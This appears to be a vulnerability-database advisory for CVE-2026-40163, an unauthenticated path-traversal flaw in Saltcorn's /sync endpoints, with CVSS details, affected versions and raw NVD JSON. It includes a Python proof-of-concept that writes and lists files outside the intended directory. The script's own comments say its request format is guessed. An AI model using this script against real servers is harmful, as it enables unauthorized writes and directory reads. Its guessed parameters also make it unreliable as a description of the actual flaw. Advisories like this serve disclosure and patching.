Security Vulnerability Report
中文
CVE-2026-40163 CVSS 8.2 HIGH

CVE-2026-40163

Published: 2026-04-10 18:16:46
Last Modified: 2026-04-27 13:36:15

Description

Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.5, 1.5.5, and 1.6.0-beta.4, the POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files. This vulnerability is fixed in 1.4.5, 1.5.5, and 1.6.0-beta.4.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:saltcorn:saltcorn:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saltcorn:saltcorn:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha0:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha10:*:*:*:*:*:* - VULNERABLE
Saltcorn < 1.4.5
Saltcorn < 1.5.5
Saltcorn < 1.6.0-beta.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json target = "http://localhost:3000" # Define the arbitrary path to write to (e.g., ../../tmp/poc_dir) attack_path = "../../tmp/poc_dir" # Payload to create directory and write changes.json # The specific JSON structure mimics the expected sync payload write_payload = { "path": attack_path, "changes": [{ "table": "test", "type": "insert", "obj": {"data": "arbitrary_content_controlled_by_attacker"} }] } print(f"[+] Attempting to write file to {attack_path}/changes.json") try: # Step 1: Create directory and write file (Vulnerability in POST /sync/offline_changes) response = requests.post(f"{target}/sync/offline_changes", json=write_payload) print(f"[+] POST Response Status: {response.status_code}") print(f"[+] POST Response Body: {response.text}") except Exception as e: print(f"[-] Error during POST request: {e}") print(f"\n[+] Attempting to list directory contents") try: # Step 2: List directory contents and verify write (Vulnerability in GET /sync/upload_finished) # The endpoint might use a query parameter or JSON body, assuming query param based on common patterns or testing read_response = requests.get(f"{target}/sync/upload_finished", params={"path": attack_path}) print(f"[+] GET Response Status: {read_response.status_code}") print(f"[+] GET Response Body: {read_response.text}") except Exception as e: print(f"[-] Error during GET request: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40163", "sourceIdentifier": "[email protected]", "published": "2026-04-10T18:16:46.233", "lastModified": "2026-04-27T13:36:14.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saltcorn is an extensible, open source, no-code database application builder. Prior to 1.4.5, 1.5.5, and 1.6.0-beta.4, the POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files. This vulnerability is fixed in 1.4.5, 1.5.5, and 1.6.0-beta.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.5", "matchCriteriaId": "87D06CD8-6A31-44F3-A1DE-D1E2AA8F3274"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.5.0", "versionEndExcluding": "1.5.5", "matchCriteriaId": "7E3412F3-9513-4A2F-9B81-0CC96A38BDA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha0:*:*:*:*:*:*", "matchCriteriaId": "B9F0B1DA-694D-46DC-B1C3-B013AC4A849C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "5A1F05CD-57F4-419B-ACA8-D7C9B6368863"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha10:*:*:*:*:*:*", "matchCriteriaId": "EBF44DCF-6989-4E65-97D0-7C8A9260189A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha11:*:*:*:*:*:*", "matchCriteriaId": "E6666919-896F-4D1D-8225-3E91BAC9F101"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha12:*:*:*:*:*:*", "matchCriteriaId": "B1724AAF-1FDA-402D-94D2-86CF9DD8839C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha13:*:*:*:*:*:*", "matchCriteriaId": "696855BA-6E8A-4170-8CC9-8C267C85397B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha14:*:*:*:*:*:*", "matchCriteriaId": "8B954E3D-95F4-49FB-8A3A-1DFAE831EAEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha15:*:*:*:*:*:*", "matchCriteriaId": "E0EEE350-1436-4C28-B0D7-B2EC26CEF65C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha16:*:*:*:*:*:*", "matchCriteriaId": "DD555EEB-8C7B-4519-8037-3F4E8CDFFA51"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha17:*:*:*:*:*:*", "matchCriteriaId": "12C8A9DD-0E70-4BD2-A0DF-8951757200DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "E8F83440-DA15-4415-B29F-4710021E06A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha3:*:*:*:*:*:*", "matchCriteriaId": "0276E1CB-EFFA-47DF-A281-3317F9EA566E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha4:*:*:*:*:*:*", "matchCriteriaId": "399C6A3D-4EC0-498A-98E6-A81E581E8A10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha5:*:*:*:*:*:*", "matchCriteriaId": "9A768259-04EC-4EA7-83E6-F802A43F7F12"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha6:*:*:*:*:*:*", "matchCriteriaId": "9E0E2D7E-96AA-427A-9043-460C8D6C718E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha7:*:*:*:*:*:*", "matchCriteriaId": "22CA8D18-519C-4DA9-B245-2E2BA6651ED7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha8:*:*:*:*:*:*", "matchCriteriaId": "E2820DF8-8124-4880-86F4-A262E5E884AB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:alpha9:*:*:*:*:*:*", "matchCriteriaId": "2A3A7215-0C13-4611-8846-804853DAA0B0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:beta1:*:*:*:*:*:*", "matchCriteriaId": "480F4CEF-4019-41AC-AD7B-8D317619132A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:beta2:*:*:*:*:*:*", "matchCriteriaId": "CB023AEF-5AEF-4923-9552-028BF47D7119"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saltcorn:saltcorn:1.6.0:beta3:*:*:*:*:*:*", "matchCriteriaId": "959C8B5C-080D-48AA- ... (truncated)